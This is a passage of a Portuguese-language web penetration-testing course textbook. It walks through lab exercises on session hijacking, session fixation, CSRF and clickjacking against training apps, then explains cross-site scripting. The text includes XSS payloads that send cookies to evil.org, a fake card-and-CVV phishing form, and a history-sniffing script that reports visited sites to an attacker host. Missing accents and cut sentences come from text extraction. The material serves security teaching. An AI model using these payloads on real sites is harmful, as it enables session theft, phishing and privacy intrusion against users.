19. Clique em Criar Novo Cookie e, depois, novamente em Ler Cookie. Veja que um cookie
foi adicionado.
20. Acesse o menu Tools e clique em Cookie editor. Veja que h dois cookies com o nome
170
25. Veja no WebScarab que o cookie ESRSIDDO foi enviado. 26. No Firefox, retorne pgina anterior e clique em Domnio other.rnp.br. 27. Veja pela mensagem de erro que nenhum cookie foi enviado pelo navegador. 28. Pressione Alt +[Seta para esquerda] duas vezes. 29. Clique no link Atributo Path. 30. Veja, por meio do Add N Edit Cookie, que um novo cookie, ESRSIDPA, foi definido. 31. Clique no link Subdiretrio da pasta path. 32. No WebScarab, veja que o cookie ESRSIDPA foi enviado. 33. No Firefox, retorne pgina anterior e clique em Outro diretrio. 34. Veja no WebScarab que o cookie ESRSIDPA no foi enviado. 35. Encerre o WebScarab. 36. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None. 37. Encerre o Firefox.
Sequestro de sesso
Uma vez descoberto o identificador de uma sesso vlida, o prximo passo consiste no sequestro dessa sesso. Neste exerccio, o leitor ver como isso pode ser realizado.
1. Inicie o Google Chrome, presente no menu Aplicativos\Curso Ferramentas. 2. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir cap-
turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma senha ser solicitada. Digite esruser e clique em Ok.
3. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a captura de pacotes.
4. Retorne ao Google Chrome e acesse http://dvwa.esr.rnp.br 5. Autentique-se fornecendo admin e password para os campos Username e Password,
respectivamente.
6. No Wireshark, procure pelo ltimo GET e anote o PHPSESSID. 7. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas. 8. Acesse o DVWA, digitando a URL:
http://dvwa.esr.rnp.br/vulnerabilities/xss_r/
Veja que a aplicao o redireciona para a tela de autenticao.
9. Clique no menu Tools e em Cookie Editor. 10. Selecione o cookie PHPSESSID definido para o domnio dvwa.esr.rnp.br e clique em Edit. 11. Altere o campo Content para o valor anotado no passo 6 e clique em Save. 12. Tente novamente o acesso do passo 8. O que aconteceu?
171
Fixao de sesso
Diferentemente de um sequestro de sesso, no qual o usurio malicioso precisa descobrir um identificador de sesso vlido, no ataque de fixao de sesso utiliza-se um valor j conhecido. Nesta prtica, o leitor aprender a detectar aplicaes vulnerveis a esse tipo de ataque e como o defeito pode ser explorado. Parte I Deteco de aplicao vulnervel
1. Inicie o Firefox, presente no menu Aplicativos\Curso Ferramentas. 2. Acesse o DVWA, a partir da barra de atalhos. 3. Clique no menu Tools e em Cookie Editor. 4. Anote o valor do cookie PHPSESSID definido para dvwa.esr.rnp.br. 5. Feche a janela do Add N Edit Cookies. 6. Autentique-se no DVWA, fornecendo as credenciais admin e password. 7. Clique no menu Tools e em Cookie Editor. 8. Compare contra o valor anterior o cookie PHPSESSID definido para dvwa.esr.rnp.br.
Parte II Explorao
10. Clique na opo Logout do DVWA. 11. Clique no menu Tools e em Cookie Editor. 12. Selecione, no Add N Edit Cookies, o cookie PHPSESSID e clique em Edit. 13. Substitua o valor do campo Content para 12345 e clique em Save. 14. Encerre a janela do Add N Edit Cookies. 15. Autentique-se na aplicao com as credenciais admin e password. 16. Clique no menu Tools e em Cookie Editor. 17. Verifique o valor de PHPSESSID. O ataque possvel? O mecanismo de gerenciamento de
172
2. Acesse o Gruyere, a partir da barra de atalhos. 3. Clique em Sign in. 4. Autentique-se com as credenciais esruser/esruser. 5. Clique no menu Tools e em Cookie Editor. 6. Anote o valor do cookie GRUYERE. 7. Encerre a janela do Add N Edit Cookies. 8. Clique em Sign out. 9. Clique em Home e veja que a pgina permanece no estado no autenticado. 10. Clique no menu Tools e em Cookie Editor. 11. Selecione o cookie GRUYERE e clique em Edit. 12. Altere o valor do campo Content para o anotado no passo 6. 13. Clique em Save e encerre a janela do Add N Edit Cookies. 14. Clique em Home novamente. O que acontece?
173
4. Clique na opo de menu CSRF. 5. Observe que a aplicao no pede a senha atual para substitu-la por um novo valor. 6. Pressione Ctrl + U e analise o cdigo HTML da pgina, principalmente a estrutura do formu-
lrio para alterao de senha. Existe algum item que seja dependente da sesso do usurio?
7. Pressione Ctrl + N, para abrir uma nova janela do Firefox. 8. Acesse http://www.evil.org/get/get.html. 9. Retorne ao DVWA e clique em Logout. 10. Tente se autenticar novamente com as mesmas credenciais. 11. Tente, agora, com as credenciais admin e pwd. Note que a senha foi alterada em decor-
zada automaticamente?
17. Encerre a janela de visualizao de cdigo HTML. 18. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.
25. Pressione Ctrl + U, para ver o cdigo HTML. Veja que a pgina csrf.html carregada em
csrf.html.
28. Retorne ao DVWA, acesse a opo CSRF e altera a senha para password novamente.
174
Clickjacking
Clickjacking um ataque relativamente novo e que j evoluiu para formas mais perigosas de explorao. Neste exerccio, o aluno testar diversos sites web, para ver se so vulnerveis, e quebrar o mecanismo baseado em token anti-CSRF. Parte I Teste de vulnerabilidade
1. Inicie o Google Chrome, presente no menu Aplicativos\Curso Ferramentas. 2. Acesse http://cjtest.esr.rnp.br. 3. Digite a URL da pgina institucional do lugar em que trabalha e clique em Teste de Clickjacking.
7. Pressione Alt + [Seta para esquerda], para retornar pgina de teste. 8. Repita o teste para http://dvwa.esr.rnp.br. A pgina foi carregada normalmente?
10. Marque Usar sandbox e repita o Passo 4. Houve alguma alterao no resultado?
175
11. Marque Usar sandbox e repita o Passo 5. Houve alguma alterao no resultado?
12. Marque Usar sandbox e repita o Passo 6. Houve alguma alterao no resultado?
30. Tente se autenticar com as credenciais admin e pwd. 31. Clique na opo de menu CSRF. 32. Altere a senha para password novamente. 33. Retorne janela do domnio evil.org. 34. Acesse http://clickjacking.evil.org/index2.html e observe a sobreposio de pginas.
Teste de Invaso de Aplicaes Web
35. Pressione Ctrl + U, para ver o cdigo HTML. 36. Feche a janela de visualizao de cdigo HTML. 37. Encerre o Firefox.
176
Bibliografia 4
1 BALDUZZI, Marco; EGELE, Manuel; KIRDA, Engin; BALZAROTTI, Davide e KRUEGEL,
Christopher. A Solution for the Automated Detection of Clickjacking Attacks. In: ASIACCS 10 Proceedings of the 5th ACM Symposium on Information, Computer and Communications Security, 2010.
1 BARRALL, Darrin. Automated Cookie Analysis Are your web applications vulnerable?. SPI
Dynamics, 2005.
1 BURNS, Jesse. Cross Site Reference Forgery An introduction to a common web application
weakness. Information Security Partners, LLC, 2005.
1 BURNS, Jesse. Cross Site Request Forgery an introduction to a common web application
weakness. Information Security Partners, LLC, 2007.
1 ENDLER, David. Brute-Force Exploitation of Web Application Session IDs. iAlert White Paper,
iDEFENSE Labs, 2001.
1 ESPOSITO, Dino. Take Advantage of ASP.NET Built-in Features to Fend Off Web Attacks.
Disponvel em: http://msdn.microsoft.com/en-us/library/ms972969.aspx. Data de acesso: 25/07/2011. MSDN Library, 2005.
1 JOVANOVIC, Nenad; KIRDA, Engin e KRUEGEL, Christopher. Preventing Cross Site Request
Forgery Attacks. In: 2006 SecureComm and Workshops, IEEE, 2006.
1 KRISTOL, David e MONTULLI, Lou. HTTP State Management Mechanism. RFC 2965, 2000. 1 KUPPAN, Lavakumar. Attacking with HTML5. Attack & Defense Labs, 2010. 1 MAHEMOFF, Michael. Explaining the Dont Click Clickjacking Tweetbomb. Disponvel em:
http://softwareas.com/explaining-the-dont-click-clickjacking-tweetbomb. Data de acesso: 25/07/2011. Mahemoffs Podcast/Blog, 2009.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 MORGAN, Timothy D. Weaning the Web off of Session Cookies Making Digest
Authentication Viable. Version 1.0, VSR, 2010.
Captulo 4 - Roteiro de Atividades
1 PALMER, Chris. Secure Session Management with Cookies for Web Applications. iSEC Partners,
Inc., 2008.
1 RYDSTEDT, Gustav; BURSZTEIN, Elie; BONEH, Dan e JACKSON, Colling. Busting Frame
Busting: a Study of Clickjacking Vulnerabilities on Popular Sites. In: IEEE Web 2.0 Security and Privacy (W2SP), 2010.
1 SCHRANK, Michael; BRAUN, Bastian e POSSEGA, John Joachim. Session Fixation The
Forgotten Vulnerability? In: Sicherheit 2010: Sicherheit, Schutz und Zuverlssigkeit, Beitrge der 5. Jahrestagung des Fachbereichs Sicherheit der Gesellschaft fr Informatik e.V. (GI), 2010.
177
1 SILES, Ral. SAP: Session (Fixation) Attacks and Protections (in Web Applications). Taddong S.
L., Black Hat Europe 2011, 2011.
1 STONE, Paul. Next Generation Clickjacking New attacks against framed web pages. White
Paper, Context Information Security Ltd., 2010.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
178
5
Cross-site scripting
objetivos
Apresentar os diversos tipos de XSS e como podem ser empregados para obter identificador de sesso, adulterar pginas, capturar teclas digitadas, descobrir histrico de navegao e quebrar tokens anti-CSRF.
conceitos
Cross-site scripting (XSS), XSS refletido, XSS armazenado, XSS baseado em DOM, cross-channel scripting, worms baseados em XSS, evaso de filtros, arcabouos de explorao.
Introduo
Cross-site scripting, tambm conhecido como XSS, atualmente um dos defeitos de segurana mais comumente encontrados em aplicaes web, permitindo utilizar uma aplicao vulnervel para transportar cdigo malicioso, normalmente escrito em Javascript, at o navegador de outro usurio. Uma vez que a poltica de mesma origem respeitada, o navegador da vtima entende que o cdigo recebido legtimo e, por isso, informaes sensveis, como o identificador de sesso do usurio, por exemplo, podem ser acessadas programaticamente. Nesse caso, conforme visto no Captulo 4, um usurio malicioso capaz de sequestrar a
sesso da pessoa atacada, bastando para isso enviar, em todas as requisies fraudulentas, o identificador obtido. Perceba-se, assim, a partir dessa contextualizao, que XSS no visa explorar o servidor, mas, sim, outros usurios da aplicao (Stuttard e Pinto, 2007; Howard et al., 2005; Grossman et al., 2007). De modo geral, essa vulnerabilidade ocorre todas as vezes em que uma aplicao web no valida informaes recebidas de uma entidade externa (usurio, banco de dados ou outra aplicao, por exemplo) e as insere inalteradas em alguma pgina gerada dinami interpretado como tal, pelo navegador do usurio que realiza o acesso, e executado automaticamente, no contexto da sesso. Para exemplificar, imagine-se que o texto fornecido e integralmente exibido pela aplicao seja <script>alert(XSS)</script>. O resultado que se obtm est ilustrado na Figura 5.1, juntamente com o trecho de cdigo HTML gerado pelo sistema. Como comum utilizar exatamente esse vetor em testes de invaso e provas de conceito, muitas pessoas acreditam que um cross-site scripting no um ataque crtico, pois apenas exibe uma caixa de mensagem ao usurio. Tal pensamento est longe de estar correto, pois, 179
Captulo 5 - Cross-site scripting
desde a primeira vez em que o problema foi descrito, diversas novas tcnicas de explorao foram desenvolvidas. Para se ter uma ideia mais realista, roubo de histrico de navegao, varredura de redes privadas, descoberta de consultas realizadas em mecanismos de busca, escravizao de navegador web e worms baseados em XSS so apenas alguns exemplos do que possvel obter, por meio da explorao da vulnerabilidade (Grossman et al., 2007; Hoffman e Sullivan, 2007). Note-se que, para piorar a situao, os scripts maliciosos que efetuam esses ataques so executados nas mquinas de usurios e, portanto, dentro da rede interna do ambiente. Assim, devido importncia do tema cross-site scripting, este captulo dedicado a discutir exclusivamente os diversos aspectos sobre ele. Nesse contexto, os tpicos cobertos so: tipos de XSS, worms baseados em XSS, pontos de injeo, roteiros de teste, obteno de identificador de sesso, adulterao de pgina, descoberta de histrico de navegao, captura de teclas digitadas no navegador web, quebra de token anti-CSRF, evaso de filtros e arcabouos de explorao.
Worm Tipo de malware que utiliza uma ou mais vulnerabilidades no sistema, para se propagar de maneira automtica, isto , sem necessitar de uma ao do usurio.
Tipos de XSS
Dependendo de como o contedo malicioso transportado at a vtima e do local em que a vulnerabilidade ocorre (no servidor ou no cliente), um cross-site scripting pode ser classificado nos seguintes tipos:
1 XSS refletido, tambm chamado de no persistente. 1 XSS armazenado, tambm chamado de persistente ou de segunda ordem. 1 XSS baseado em DOM. 1 XCS ou cross-channel scripting.
180
XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da requisio, explorando um parmetro que exibido sem tratamento na pgina resultante. Normalmente, requer que o usurio seja induzido a clicar em um link especialmente construdo, com contedo malicioso. muito comum em pginas dinmicas utilizadas para exibio de mensagens parametrizadas de erro. Os passos gerais para explorao da vulnerabilidade esto descritos a seguir:
1.
O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript embutido em um dos parmetros da URL.
2. A vtima solicita aplicao vulnervel o recurso identificado pela URL fornecida no pri-
proveniente da aplicao, e, portanto, com todos os privilgios de um script legtimo. Como exemplo, considere-se uma aplicao que possua um campo de busca e que exiba uma mensagem de erro contendo o valor digitado, quando ele no for encontrado na base de dados. Supondo que a requisio feita pelo mtodo GET e a informao procurada passada no parmetro search_name, a seguinte URL pode ser empregada em um XSS refletido:
aplicao exibe uma pgina de erro, informando que X<script>... no foi encontrado. Ao realizar isso, porm, o cdigo fornecido em search_name embutido no HTML e executado pelo navegador web, conforme ilustrado na Figura 5.2.
181
XSS armazenado
XSS armazenado ou persistente recebe este nome porque o cdigo malicioso armazenado pela aplicao, normalmente em um banco de dados, e exibido a todos os usurios que acessam o recurso infectado. um tipo mais perigoso, pois pode afetar uma quantidade maior de usurios, de uma nica vez, alm de no ser necessrio induzi-los a seguir um link para serem atacados.
Devido a essas caractersticas, um cenrio comumente afetado pelo problema consiste em um frum pblico de discusso, no qual alguns usurios expem as dvidas que possuem, para que outras pessoas as esclaream. Nesse caso, os passos para realizar um XSS armazenado esto representados na Figura 5.3 e descritos a seguir:
1.
Um usurio malicioso insere cdigo (<script>alert(XSS)</script>, por exemplo) no corpo da pergunta e a submete aplicao defeituosa, que, por esse motivo, no valida a entrada e armazena o texto integralmente no banco de dados.
2. Outro usurio verifica a lista de perguntas e resolve acessar justamente aquela com
contedo malicioso.
3. A aplicao recupera a informao do banco de dados e a utiliza para gerar a pgina
2
Vtima
Atacante
Cross-site scripting baseado em DOM muito similar ao tipo refletido, mas difere deste por no necessitar que o cdigo malicioso seja enviado ao servidor. Consequentemente, o defeito precisa estar no lado cliente da aplicao, o qual, por meio de scripts, insere ou atualiza elementos na pgina, de maneira dinmica, a partir de valores de objetos do DOM que podem ser controlados pelo usurio. Um exemplo clssico disso, apresentado no artigo de Klein (2005), consiste na exibio de uma mensagem personalizada de boas-vindas, cujo nome de usurio extrado de um
parmetro da URL. Tal defeito de segurana pode ser observado no cdigo HTML ilustrado na Figura 5.4.
182
<html> <head><title>XSS baseado DOM</title></head> <body> <h2> <script> var url = document.URL; var pos = url.indexOf(usuario=); document.write(Bem-vindo); if (pos != -1) { document.write(, + unescape(url.substring(pos + 8, url. length))); } document.write(!!); </script> </h2>
Figura 5.4 Cdigo vulnervel a XSS baseado em DOM.
</body> </html>
Nesse cenrio, o script definido no corpo da pgina verifica a existncia de um parmetro de URL chamado de usuario. Caso esteja presente, o valor dele escrito no documento, por meio do mtodo document.write(), aps ser decodificado pela funo unescape(). Por exemplo, se a URL http://xss.esr.rnp.br/dom/index.html?usuario=leitor utilizada para acessar o documento, obtm-se o resultado ilustrado na Figura 5.5. Observe que o valor de usuario extrado por meio da funo substring(), tomando-se a cadeia de caracteres que vai do smbolo = at o final da URL. Por conseguinte, qualquer texto que esteja aps o parmetro copiado integralmente para o corpo da pgina HTML, no importando o que seja. Para exemplificar a vulnerabilidade, considere que o valor passado seja usuario=leitor<script>alert(10)<%2fscript>. Nesse cenrio, o script embutido na URL incorporado ao documento, por meio do Javascript nele definido, e executado em seguida.
183
importante notar que, nesse caso, o cdigo malicioso enviado ao servidor, embora no seja refletido para o usurio, como parte do HTML de resposta. De modo a evitar que aquilo acontea, pode-se coloc-lo aps um smbolo #, o qual, em uma URL, introduz o que se chama de fragmento. Este atua como referncia a um recurso subordinado e nunca submetido em uma requisio, como se v na Figura 5.6. Assim, possvel evadir eventuais filtros que existam no servidor e definir cdigo de tamanho arbitrrio, limitado somente pelo mximo que o navegador web aceita.
O atacante fornece vtima um link para a aplicao vulnervel, com cdigo Javascript embutido como um fragmento de URL.
primeiro passo deste roteiro. Note que o fragmento no enviado ao servidor junto com a requisio.
3. A aplicao fornece como resposta requisio uma pgina HTML contendo cdigo
Javascript, o qual altera o documento, com base no valor de um parmetro da URL. Nesse momento, o cdigo malicioso inserido no DOM, juntamente com o argumento especificado.
4. O Javascript escrito pelo atacante , ento, executado na mquina do usurio, como se
184
afeta dispositivos que possuem um servidor web embutido, como porta-retratos digitais e network attached storages, por exemplo, os quais permitem que informaes sejam enviadas a eles, por meio de protocolos diferentes do HTTP. Nos casos em que so vulnerveis, muitas vezes, a fragilidade no decorre de defeitos individuais nos vrios protocolos suportados, mas, sim, da interao entre eles. Por exemplo, considere um NAS que utiliza FTP para transferncia de arquivos, mas que emprega uma interface web para list-los e manipul-los. Como o primeiro no susceptvel a XSS, nenhum tratamento feito sobre os nomes e contedos dos arquivos, criando, assim, a possibilidade de explorar os usurios que acessam o equipamento via HTTP. Segundo Bojinov et al. (2009), o cenrio acima apresenta duas restries para o atacante, mas que podem ser superadas, com um pouco de engenhosidade, conforme eles prprios apontam:
1 Nomes de arquivos possuem comprimento mximo, limitando o tamanho do cdigo malicioso a ser injetado. Nesse caso, a soluo direta consiste em carregar o script a partir de uma fonte externa, empregando o atributo src.
cioso, o qual inserido na pgina HTML de resposta, sem que a vtima saiba.
7.
Quando o navegador web exibe o contedo malicioso, ele executado e compromete a estao de trabalho da vtima.
Para ilustrar o ataque, considere que um usurio malicioso cria no dispositivo um arquivo chamado <img src=a onerror=alert(1)>, conforme ilustrado na Figura 5.7. Ao listar o contedo do diretrio em questo, por meio de uma aplicao web vulnervel, o nome de cada arquivo inserido na pgina HTML, sem sanitizao. Isso faz com que um <img> seja a, especificado pelo atributo src. Por conseguinte, o inofensivo cdigo alert(1) executado (vide Figura 5.8), o qual poderia muito bem ser substitudo por algo mais danoso.
Captulo 5 - Cross-site scripting
185
Sempre que o Samy Worm, tambm chamado de The MySpace Worm ou JS.Spacehero Worm, infectava uma conta do MySpace, Samy Kamkar era adicionado como amigo e heri, e o cdigo malicioso era inserido no perfil da vtima (Grossman, 2007a), pronto para afetar novos usurios. Para realizar tudo isso, diversos controles impostos pela aplicao tiveram de ser evadidos, conforme explicaes do prprio Kamkar (2005), reproduzidas parcialmente a seguir:
186
<div style=background:url(javascript:alert(1))>.
1 Para codificar o worm, Samy necessitava empregar aspas simples e duplas; em diversos
lugares, porm, a construo acima j utilizava ambas, e o MySpace removia todas as
Caractere de escape Usado para indicar que a sequncia de caracteres junto a ele deve ser interpretada de maneira diferente daquela se estivesse isolada. Por exemplo, comum em linguagens de programao que uma aspa seja empregada como delimitador de cadeias de caracteres. Para que, em vez disso, ela seja considerada com o sentido original, deve ser antecedida pelo caractere de escape, normalmente, representado por uma barra.
ocorrncias do caractere de escape \, impedindo o uso de \ e \. A primeira dificuldade foi resolvida, armazenando o Javascript em uma expresso e executando-o por nome, enquanto que a soluo para a segunda compreendia o uso da funo String.fromCharCode(34). Exemplo:
eval(document.body.inne + rHTML)
187
visualizado se acessado de www.myspace.com, Samy incluiu o cdigo abaixo, para redirecionar o usurio para o domnio necessrio e resolver o problema:
target =, deixando o restante do elemento intacto. Como resultado, o que era enviado vtima, no corpo da mensagem, consistia no seguinte:
188
no qual o token gerado no primeiro passo deveria ser remetido no segundo. Isso foi contornado pelo Yamanner de maneira anloga ao Samy Worm. Exemplos adicionais de aplicaes web que foram vtimas de worms baseados em cross-site scripting incluem Xanga, SpaceFlash, MyYearBook, Gaia, U-Dominion, Justin.tv, Orkut, Hi5 e Twitter (Sun et al., 2009). Note que a grande maioria delas composta por redes sociais, enquanto as demais englobam blogs, jogos e servidores de vdeo.
Pontos de injeo
muito importante saber o local na pgina HTML no qual ocorre a cpia do cdigo injetado, para que seja possvel construir o vetor, corretamente e respeitando-se a estrutura sinttica do documento. No caso mais simples, o texto fornecido pelo usurio inserido diretamente no corpo da pgina, como no exemplo a seguir:
<pre>Hello Nelson</pre>
Em tal cenrio, no h elementos, como aspas e chaves angulares, que precisam ser balanceados e, assim, o seguinte vetor de injeo pode ser empregado:
<script>alert(1)</script>
Resultando em:
Captulo 5 - Cross-site scripting
<pre>Hello <script>alert(1)</script></pre>
Outras vezes, o texto controlado pelo usurio includo dentro de um script, conforme abaixo ilustrado:
189
Observe que, para o vetor de injeo ser considerado como um comando e no como uma cadeia de caracteres, ele deve ficar fora da regio delimitada por aspas. Para conseguir isso, pode-se fornecer o valor a seguir, que fecha a aspa inicial e balanceia a final, por meio da declarao de uma varivel adicional:
Nelson;alert(1);var b=
Com o qual se obtm:
Nelson onclick=alert(1)
Que gera o cdigo HTML:
Nelson><script>alert(1)</script><invalid a=
A qual resulta em:
Finalmente, como ltimo cenrio, considere-se que o texto controlado pelo atacante seja inserido entre os marcadores <title></title>:
Nelson</title><script>alert(1)</script>
O qual resulta no cdigo HTML:
Perceba que um </title> fica sobrando, porm, ele ser ignorado pelo navegador web, sem afetar a execuo do cdigo malicioso.
Roteiros de teste
Os roteiros de teste desta seo diferem entre si em funo do tipo de cross-site scripting sendo verificado, embora, de maneira geral, todos eles busquem encontrar os lugares na aplicao que exibem, sem nenhum tratamento, informaes controladas pelo usurio.
Caso ele aparea mais de uma vez, cada instncia deve ser avaliada individualmente, como uma potencial vulnerabilidade.
2.3.Caso uma reflexo seja encontrada, de acordo com o ponto de injeo, selecione
4.1.Fornea o valor escolhido no primeiro passo, tendo em mente que, em alguns casos,
ele s armazenado depois de completados os estgios que compem o processo de negcio especfico.
4.2.Percorra a aplicao em busca do valor injetado. Caso ele aparea mais de uma
vez, cada instncia deve ser avaliada individualmente, como uma potencial vulnerabilidade.
4.3.Se encontrar o valor, de acordo com o ponto de injeo, selecione um vetor de teste
191
A razo disso que os navegadores web exibem o cdigo-fonte do HTML recebido do servidor, sem considerar as alteraes realizadas por scripts, em tempo de execuo, mas, no caso deste tipo de XSS, o cdigo malicioso no refletido, uma vez que nem enviado aplicao. Outra tcnica que pode ser empregada consiste na anlise dos scripts contidos nas pginas do sistema, conforme descrio abaixo:
5. A partir da fase de mapeamento, verifique todo e qualquer script utilizado pela apli-
cao e observe se utilizam os seguintes elementos: document.location; document. URL; document.URLencoded; document.referer; window.location.
6. Analise se os valores dos supracitados elementos so empregados na incluso ou
Teste de XCS
Para que aplicaes sejam vulnerveis a cross channel scripting, necessrio que informaes visualizadas por uma aplicao web sejam providas por um canal diferente, como FTP ou SMTP, por exemplo. Antes de executar o roteiro de teste abaixo, ento, primordial verificar se essa condio satisfeita:
9. Navegue pela aplicao, para identificar pginas que exibem informaes fornecidas
adequado.
10.2.Aplique o vetor de teste, por meio do canal secundrio pertinente, e observe
se o cdigo executado.
insero de uma imagem, cujo atributo origem o domnio www.evil.org. Note que o cookie anexado como parte da URL do recurso, durante a construo do elemento.
<script>document.write(<img src=http://www.evil.org/?SID=+
Teste de Invaso de Aplicaes Web
document.cookie+/>);</script>
Quando o navegador executa o script e o objeto img criado, uma requisio realizada ao servidor do usurio malicioso, gerando a seguinte entrada no arquivo de trilha de auditoria:
192
importante destacar que o ataque pode ser efetuado mesmo que o identificador de sesso seja transportado por outros meios, como campos escondidos e URLs, por exemplo. Caso cookies sejam empregados para esse propsito, como acima ilustrado, a aplicao pode se proteger definindo o atributo HttpOnly, que evita que cdigo no lado cliente acesse tais informaes. Antigamente, um ataque chamado de Cross-Site Tracing (XST) podia ser usado para violar a proteo fornecida pelo atributo HttpOnly (Grossman, 2003; Stuttard e Pinto, 2007), mas hoje ele barrado por meio de restries impostas pelos navegadores web, conforme discutido nos prximos pargrafos. Uma das premissas fundamentais para a tcnica funcionar depende de o servidor web aceitar o mtodo TRACE, que retorna como resposta prpria requisio efetuada, como possvel observar na Figura 5.10. Note-se que todos os cabealhos da solicitao, inclusive o Cookie, so includos no corpo da resposta.
HTTP/1.1 200 OK Date: Thu, 08 Sep 2011 02:19:04 GMT Server: Apache/2.2.17 (Fedora) Connection: close Transfer-Encoding: chunked Content-Type: message/http
A segunda condio necessria a um ataque XST que uma requisio baseada no mtodo TRACE possa ser efetuada pelo navegador web. A construo que antes permitia efetuar essa ao empregava a API XMLHttpRequest, a qual, nos dias atuais, bloqueia o mtodo em questo, impedindo a explorao da vulnerabilidade.
193
Um exemplo de cdigo que poderia ser utilizado com esse propsito, na poca, est ilustrado na Figura 5.11.
A partir disso tudo, percebe-se como o ataque, se possvel, permitiria contornar o mecanismo provido pelo atributo HttpOnly. Ao efetuar a requisio com o mtodo TRACE, o cookie seria enviado automaticamente ao servidor e refletido em seguida na resposta. Desse modo, ficaria disponvel ao script no lado cliente, por meio da propriedade responseText, que est fora do escopo de proteo de HttpOnly.
Adulterao de pgina
Na seo anterior, vimos como possvel inserir dinamicamente uma imagem em uma pgina, valendo-se de um cross-site scripting, para enviar um identificador de sesso a um stio web malicioso. A mesma tcnica pode ser utilizada, para alterar a pgina inteira, resultando na incluso de novos elementos e alterao ou remoo de itens pr-existentes.
Considere, por exemplo, a aplicao ilustrada na Figura 5.12, vulnervel a XSS refletido, cujo ponto de injeo ocorre no corpo do documento, conforme indicado na Figura 5.13.
... <div class=vulnerable_code_area> <form name=XSS action=# method=GET> <p>Whats your name?</p> <input type=text name=name>
194
195
Expandindo o exemplo, vamos, agora, remover o formulrio inteiro e incluir um completamente novo, para obteno de informaes sigilosas da vtima. A primeira parte do cenrio pode ser realizada, invocando-se o mtodo removeChild(), a partir do n pai dele, acessvel por meio da propriedade parentNode. O ltimo objetivo, por sua vez, considerando que o ponto de injeo se encontra no corpo da pgina, pode ser alcanado pela incluso direta de elementos HTML, aps o script injetado, ou empregando o mtodo document.write(). O vetor de injeo abaixo
Teste de Invaso de Aplicaes Web
Figura 5.14 Uso do DOM Inspector para a pgina da Figura 5.12. Figura 5.15 Exemplo de remoo dinmica de elemento da pgina.
196
Aluno <script> var p = document.forms[0].parentNode; p.removeChild(document.forms[0]); </script> <br> <form name=falso method=get action=http://www.evil.org/ phishing.php style=color:#000000> <b>Perdemos seus dados pessoais. Por favor, atualize seu cadastro:</b> <br><br> Cartão:<input type=text name=cartao><br> Código de verificação:<input type=text name=cvv2><br>
Figura 5.16 Vetor de injeo para adulterao de pgina.
Navegadores web, normalmente, utilizam cores diferentes para links, quando o recurso alvo j foi ou no acessado pelo usurio. Com base nesse comportamento, empregando um ataque introduzido por Jeremiah Grossman, em 2006 (Grossman et al., 2007), possvel determinar quando uma pgina especfica foi visitada pela vtima. A tcnica consiste em, a partir de uma lista de URLs, inserir dinamicamente um link na pgina e verificar a cor com a qual colorido, invocando o mtodo getComputedStyle(), que retorna o estilo computado para o elemento especificado. Perceba que a tcnica no capaz de recuperar o histrico completo de navegao, mas sim testar a hiptese de que um dado conjunto de recursos foi acessado.
197
O cdigo Javascript ilustrado na Figura 5.18 uma adaptao da prova de conceito apresentada por Grossman et al. (2007). Logo no incio, um marcador <style> dinamicamente inserido, para definir vermelho como a cor de links visitados. Em seguida, interativamente, um link criado para uma URL da lista, a cor atribuda a ele pelo navegador web verificada e, por fim, o elemento removido. Nesse processo, se a cor detectada for vermelha, conclui-se que o recurso foi acessado, e uma imagem adicionada pgina, visando enviar a URL para um servidor controlado pelo atacante.
/* Codigo adaptado do livro XSS Attacks - Cross Site Scripting Exploits and Defense */ /* Lista de sitios web a serem testados */ var websites = [ http://dvwa.esr.rnp.br, http://webgoat.esr.rnp.br, http://xss.esr.rnp.br, http://gruyere.esr.rnp.br, http://www.amazon.com/, http://www.paypal.com/, ]; var item; var link; var color;
/* Define vermelho como a cor de links para recursos visitados */ document.write(<style>); document.write(a:visited {color: #FF0000;}); document.write(</style>);
for (var i = 0; i < websites.length; i++) { /* Cria um link para o sitio web */ link = document.createElement(a); link.href = websites[i]; link.innerHTML = websites[i];
Figura 5.18 Cdigo Javascript que pode ser utilizado para descoberta de histrico de navegao.
198
/* Adiciona o link ao documento, verifica a cor e o remove em seguida */ document.body.appendChild(link); color = document.defaultView.getComputedStyle(link,null). getPropertyValue(color); document.body.removeChild(link);
/* Verifica se a cor do link e vermelha, o que indica que o sitio foi visitado */ if (color == rgb(255, 0, 0)) { // Visitado /* Envia a URL do sitio visitado para um servidor controlado pelo atacante */ document.write(<img src=http://evil.org/?URL=+link. href+>); } }
Supondo que o script seja hospedado no servidor www.evil.org, sob o nome historico.js, possvel injet-lo por meio de cross-site scripting, empregando-se o seguinte vetor:
192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /historico.js HTTP/1.1 200 1252 192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http://xss. esr.rnp.br/ HTTP/1.1 200 175 192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http:// www.paypal.com/ HTTP/1.1 200 175 192.168.213.10 - - [10/Sep/2011:17:54:43 -0300] GET /?URL=http:// dvwa.esr.rnp.br/ HTTP/1.1 200 175
Captulo 5 - Cross-site scripting
O usurio pode dificultar esse ataque, configurando o navegador web para utilizar cores pr-estabelecidas para links visitados e no acessados, e impedindo que as pginas escolham as prprias cores nesse contexto. Com isso, o atacante teria de adivinhar a cor escolhida pelo usurio, de modo a realizar o ltimo teste corretamente.
199
